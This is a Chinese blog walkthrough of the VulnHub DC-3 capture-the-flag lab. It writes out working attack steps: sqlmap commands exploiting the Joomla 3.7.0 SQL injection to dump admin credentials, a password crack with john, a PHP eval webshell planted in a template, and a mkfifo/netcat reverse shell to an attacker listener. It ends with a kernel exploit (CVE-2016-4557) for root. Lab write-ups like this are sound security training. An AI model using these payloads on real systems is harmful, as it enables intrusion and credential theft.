记对VnlnHub_DC-3的一次渗透测试

VulnHub_DC-3 渗透测试笔记

攻击前准备

DC-3虚拟机文件夹压缩包

链接:https://pan.baidu.com/s/1kZ9RNflZSmV4Vr2UmyMA1g
提取码:d9cz
–来自百度网盘超级会员V6的分享

1.若出现报错提醒:

image-20231230164930676

2.选择编辑虚拟机设置后,移除CD/DVD

image-20231230165021070

3.修改网卡为NAT模式

image-20231230165051590

4.成功进入DC-3

image-20231230165142590

信息收集

1.扫描同网段主机IP

arp-scan -l

image-20231230165612793

2.深度扫描靶机IP

nmap -T4 -A -p 0-65535 10.10.10.4
扫描出80端口开放

image-20231230170200266

3.访问目标靶机的网站主页

image-20231230170301750

4.利用dirb扫描url

dirb http://10.10.10.4

image-20231230170612890

5.扫描出后台管理页面,直接访问

http://10.10.10.4/administrator/ 

发现网页是由Joomla的CMS框架搭建

image-20231230170747717

6.使用joomscan扫描目标url

(JoomScan):是一个开源项目,旨在自动执行Joomla CMS部署中的漏洞检测和可靠性保证任务。该工具在Perl中实现,可以无缝轻松地扫描Joomla安装,同时通过其轻量级和模块化架构留下最小的占地面积。它不仅可以检测已知的攻击性漏洞,还能够检测到许多错误配置和管理员级别的缺陷,这些缺陷可被攻击者利用来破坏系统。

常用工具篇 ]渗透神器OWASPJoomScan安装使用详解-CSDN博客

joomscan -u http://10.10.10.4

扫描结果:

Joomla版本: 3.7.0

后台管理页面: http://10.10.10.4/administrator/

image-20231230171555822

SQL注入漏洞

超详细SQLMap使用攻略及技巧分享 - 锦瑟,无端 - 博客园 (cnblogs.com)

1.在sploitdb中搜索3.7.0版本的joomla

searchsploit joomla 3.7.0 

image-20231230172020230

2.查询漏洞说明所在位置

find / -name 42033.txt 

image-20231230172845006

3.查看漏洞说明

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

#url漏洞点复现
URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

#利用Sqlmap攻击漏洞语句
Using Sqlmap:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
#localhost处替换为靶机IP

image-20231230173208739

4.URL漏洞点复现

image-20231230173705738

5.利用Sqlmap进行漏洞攻击

爆破数据库
sqlmap.bat -u "http://10.10.10.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image-20231230175710665

输入Y

在GET参数'list[fullordering]'上测试SQL注入,看起来后端DBMS是“MySQL”。是否要跳过特定于其他DBMS的测试有效负载?[Y/n]

image-20231230175516646

输入N

GET参数'list[fullordering]'易受攻击。你想继续测试其他人(如果有的话)吗?[是/否]

image-20231230175535330

成功爆破出joomladb

image-20231230175643279

爆破数据表
sqlmap.bat -u "http://10.10.10.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

image-20231230180238749

image-20231230180205585

猜测以下两个数据表可能存放用户名密码

image-20231230180322209

image-20231230180349408

#__users表存放用户名密码可能性更大
爆破字段
sqlmap.bat -u "http://10.10.10.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

注意:"#__users" 此处有引号,防止后面语句被注释

image-20231230180630641

输入y,确认使用

[18:05:44][警告]无法检索数据库'joomladb'中表'#__users'的列名
是否要使用公共列存在性检查?[y/N/q]y

image-20231230181505231

键入回车键,使用默认字典即可

[18:05:50][警告]如果出现连续的数据检索问题,建议您尝试切换“--no cast”或切换“--hex”
您想使用哪个常用列(单词列表)文件?
[1] 默认“D:\Global\apps\sqlmap\1.7.9\data\txt\common columns.txt”(按Enter键)
[2] 自定义
>

image-20231230181635709

成功爆破出username跟password

image-20231230180732481

爆破表数据
sqlmap.bat -u "http://10.10.10.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C "username,password" --dump -p list[fullordering]

image-20231230182023895

成功爆破出用户名密码

username:  admin 
password:                             $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
#发现密码为hash值,且被加盐

image-20231230182121114

john破解密码

密码破解-john的使用 - Junglezt - 博客园 (cnblogs.com)

1.将哈希密码写入a.txt

image-20231230182403448

2.成功破解出明文

john a.txt

snoopy

image-20231230182501486

3.得出joomla后台管理页面用户名密码

用户名:admin
密码:snoopy

文件上传漏洞利用

1.利用破解的用户名密码登录后台管理页面

image-20231230182822021

成功登录网站后台

image-20231230182902918

2.进入网站拓展页面

Extensions-Templates-Templates

image-20231230183031205

3.点击Beez3 Details and Files进入模板

image-20231230183107615

4.点击New File,在模板里新建文件

image-20231230183350781

5.发现存在文件上传漏洞,且可上传php脚本文件,并创建shell.php文件

image-20231230183605727

6.写入一句话木马至shell.php,并点击Save保存

<?php @eval($_POST[cmd]); ?>
注意:"cmd" 即为蚁剑连接密码

image-20231230183725170

7.通过百度得知joomla上传文件路径,并访问shell.php

返回页面为空,说明木马已经在服务器成功运行
10.10.10.4/templates/beez3/shell.php

image-20231230183944160

获取WebShell

1.通过蚁剑连接,成功获取网站WebShell

image-20231230184036941

2.进入虚拟终端

image-20231230184751016

获取到www-data权限

image-20231230184841179

反弹Shell

反弹Shell原理及检测技术研究 - 郑瀚Andrew - 博客园 (cnblogs.com)

1.打开NetCat(瑞士军刀)

Linux 命令(138)—— nc 命令-腾讯云开发者社区-腾讯云 (tencent.com)

image-20231230185251347

2.查看当前目录下文件,发现nc.exe与nc64.exe

image-20231230185341645

3.nc开启监听6666端口,如有防火墙警报,点允许访问即可

nc64.exe -lvvp 6666

image-20231230185519816

4.输入反弹Shell命令

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.17 6666 >/tmp/f

image-20231230190441414

成功获取反弹Shell

image-20231230233740541

5.获取交互式Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

image-20231230233412417

权限提升(内核漏洞)

权限提升(内核漏洞)脚本下载链接

链接:https://pan.baidu.com/s/1xBHJ41gH72D_SDlGuEfUvQ?pwd=3ufi
提取码:3ufi
–来自百度网盘超级会员V3的分享

###请下载后再进行后续操作

1.通过蚁剑上传内核漏洞检测脚本到/tmp目录

image-20231230192804672

2.在shell中查看已成功上传,但是没有执行权限

image-20231230192920362

3.添加执行权限

chmod 777 linux-exploit-suggester.sh

image-20231230193029921

4.执行漏洞检测脚本

./linux-exploit-suggester.sh
或者
bash linux-exploit-suggester.sh

image-20231230193124569

发现存在很多漏洞

image-20231230193204480

5.利用CVE-2016-4557高危漏洞

image-20231230193903747

#下载链接
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip

6.通过蚁剑上传至/tmp目录

image-20231230194132337

上传成功

image-20231230194249994

7.解压文件

unzip 39772.zip

image-20231230194304842

8.进入目录

#移动至39772
#解压exploit.tar文件
#移动至ebpf_mapfd_doubleput_exploit

cd 39772
tar -vxf exploit.tar
cd ebpf_mapfd_doubleput_exploit

image-20231230194550122

9.查看目录下的文件,发现需要执行的文件没有执行权限

image-20231230194927619

10.添加执行权限

chmod 777 compile.sh
chmod 777 doubleput.c

image-20231230195101508

11.运行相关文件

image-20231230195405514

成功提权至root

image-20231230195512766

12.cd到/root目录,发现flag

image-20231230195643717

13.cat查看flag

image-20231230195716441

flag
 __        __   _ _   ____                   _ _ _ _
 \ \      / /__| | | |  _ \  ___  _ __   ___| | | | |
  \ \ /\ / / _ \ | | | | | |/ _ \| '_ \ / _ \ | | | |
   \ V  V /  __/ | | | |_| | (_) | | | |  __/_|_|_|_|
    \_/\_/ \___|_|_| |____/ \___/|_| |_|\___(_|_|_|_)
Congratulations are in order.  :-)
I hope you've enjoyed this challenge as I enjoyed making it.
If there are any ways that I can improve these little challenges,
please let me know.
As per usual, comments and complaints can be sent via Twitter to @DCAU7
Have a great day!!!!

#祝贺按顺序排列。:-),我希望你和我一样喜欢这个挑战。如果有什么方法可以改善这些小挑战,请告诉我。和往常一样,评论和投诉可以通过推特发送到@DCAU7。祝你有美好的一天!!!!
  • 9
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑战士安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值